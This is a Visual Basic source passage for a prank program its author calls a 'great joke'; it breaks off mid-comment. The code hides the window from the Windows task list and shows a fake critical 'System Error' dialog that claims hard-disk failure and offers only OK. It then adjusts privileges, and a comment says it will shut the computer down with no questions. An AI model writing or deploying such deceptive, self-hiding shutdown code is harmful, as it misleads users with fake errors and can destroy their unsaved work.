' This section checks the Windows Version for either WinNT or Win9x
' It does recognise and work on Windows 98. I have tested the
' executable on both platforms and it runs beautifully. We have had a
' GREAT time with this one. Great joke...
Private Sub Form_Load()
' Always DIM the varriables
Dim lngVersion As Long
' Get the windows version.
lngVersion = GetVersion()
' Set up the varriable for use when closing Windows.
If ((lngVersion And &H80000000) = 0) Then
glngWhichWindows32 = mlngWindowsNT
Else
glngWhichWindows32 = mlngWindows95
End If
' This cool little line keeps the window from showing up in the
' task list of both Windows 9x and Windows NT.
App.TaskVisible = False
End Sub
' This is the only function that actually has ANY user interaction.
' With the CANCEL button disabled, the only choice is to hit OK. I
' am working on a way to keep it from showing up in the Task Manager
' under NT.
Private Sub OKButton_Click()
'Always DIM the varriables.
Dim Msg, Style, Ttl, ReturnValue
'This sets up the message box properties
Msg = "The hard disk was unable to reinitialize because exclusive access to the drive could not be obtained. The hard drive will reinitialize the next time you restart the system."
Style = vbOKOnly + vbCritical + vbDefaultButton2
Ttl = "System Error"
' This creates the message box.
MsgBox Msg, Style, Ttl
' Lets make sure we know what OS we are dealing with.
If glngWhichWindows32 = mlngWindowsNT Then AdjustToken
If glngWhichWindows32 = mlngWindows95 Then AdjustToken
' Close down the computer, no questions (or responses for